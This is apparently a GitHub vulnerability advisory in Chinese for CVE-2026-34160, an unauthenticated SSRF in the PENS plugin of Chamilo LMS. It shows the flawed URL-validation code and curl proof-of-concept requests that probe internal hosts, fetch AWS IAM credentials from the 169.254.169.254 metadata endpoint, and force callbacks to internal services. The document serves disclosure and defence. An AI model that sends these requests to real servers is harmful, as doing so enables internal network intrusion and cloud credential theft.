romain-deperne/CVE-2026-34160
GitHub: romain-deperne/CVE-2026-34160
Chamilo LMS PENS 插件未授权 SSRF 漏洞的技术分析与 PoC,揭示了因缺失私有 IP 过滤而导致的内网探测和云元数据泄露风险。
Stars: 0 | Forks: 0
# CVE-2026-34160 — Chamilo LMS 中通过 PENS 插件 触发的未授权 SSRF (pens.php)
**严重程度**: 高 (CVSS 7.5)
**CWE**: CWE-918 (Server-Side Request Forgery)
**受影响版本**: `chamilo/chamilo-lms` 2.x (commit af6b7002 及更早版本)
**安全通报**: GHSA-g2xj-4cch-j276
**NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-34160
## 概述
PENS (Package Exchange Notification Services) 插件端点 `public/plugin/Pens/pens.php` 无需身份验证即可访问,并且接收用户控制的 URL 用于包下载和回调通知。URL 验证函数会检查协议和主机是否存在,但**未进行私有 IP 过滤**,从而允许未经身份验证的攻击者对内部网络和云元数据服务发起 SSRF。
## 发现过程
在 Chamilo 的 `install.ajax.php` 中发现 CVE-2026-33715 之后,我继续对代码库进行审计,寻找其他具有网络副作用的未授权端点。PENS 插件 (`public/plugin/Pens/`) 引起了我的注意:PENS 是一种传统的电子学习内容交付协议,涉及从外部 URL 获取包并向外部服务器发送回调 —— 这两者都是典型的 SSRF 攻击面。
我阅读了 `PensProcessor.php` 寻找 URL 验证逻辑。`isAllowedDownloadUrl()` 和 `isAllowedCallbackUrl()` 都只检查了协议 (`http`/`https`) 以及主机是否非空,然后就到此为止了。没有 RFC 1918 地址过滤,没有环回地址检查,也没有链路本地地址检查。注释甚至在主机检查之后就写着 "returns true",这明显表明编写该代码时根本没有考虑到 SSRF 防御。
这与之前的 Chamilo CVE 的区别在于:它具有**两个独立的 SSRF 攻击向量** —— 一个用于包获取(服务器从攻击者控制的 URL 拉取文件),另一个用于回调(服务器向攻击者控制的端点发送 POST 请求)。回调向量对于渗透内部服务响应特别有用,因为服务器会将 PENS 状态数据发送到您指定的任何 URL,并且您可以控制响应的解析。
在云部署环境中,可以通过这两个向量访问 `169.254.169.254` 元数据端点。
## 受影响组件
**文件**: `public/plugin/Pens/lib/PensProcessor.php`
两个不同的 SSRF 攻击向量:
**向量 1 — 包 URL 获取** (第 376 行, 138 行):
```
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← no private IP check
}
// Then fetched with curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
```
**向量 2 — 回调 SSRF** (第 318 行): `receipt` 和 `alerts` 参数指定了服务器发送 POST 回调的 URL —— 同样缺乏验证。
## 根本原因
`isAllowedDownloadUrl()` 和 `isAllowedCallbackUrl()` 仅验证 URL 是否具有 http/https 协议以及主机是否非空。RFC 1918 私有地址范围 (`10.x`、`172.16.x`、`192.168.x`)、环回地址 (`127.x`)、链路本地地址 (`169.254.x` — 云元数据) 以及等效的 IPv6 地址均被接受。
## 概念验证
```
# Vector 1: 通过 package-url 探测内部网络
curl -X POST "http:///plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# AWS 元数据端点
curl -X POST "http:///plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# Vector 2: 回调 SSRF — 服务器向攻击者控制的内部端点发起 POST 请求
curl -X POST "http:///plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
```
## 影响
1. **针对内部网络的 SSRF** — 未经授权探测内部主机和服务
2. **云元数据渗透** — 在 AWS/GCP/Azure 部署上,通过 `169.254.169.254` 获取 IAM 凭证
3. **回调 SSRF** — 强制服务器向任意内部端点发送 POST 请求
注意:这与 CVE-2022-27426(social/links 工具中的 SSRF)不同 —— 代码路径不同、插件不同,且本漏洞无需授权。
## 时间线
- **发现日期**: 2026-03-22
- **报告日期**: GHSA-g2xj-4cch-j276 (私密通报)
- **CVE 发布**: CVE-2026-34160
标签:Chamilo LMS, CISA项目, CVE-2026-34160, CWE-918, PENS插件, PHP安全, SSRF, Web安全, 云元数据服务, 内网探测, 插件系统, 服务器端请求伪造, 未授权访问, 漏洞分析, 网络安全, 蓝队分析, 路径探测, 隐私保护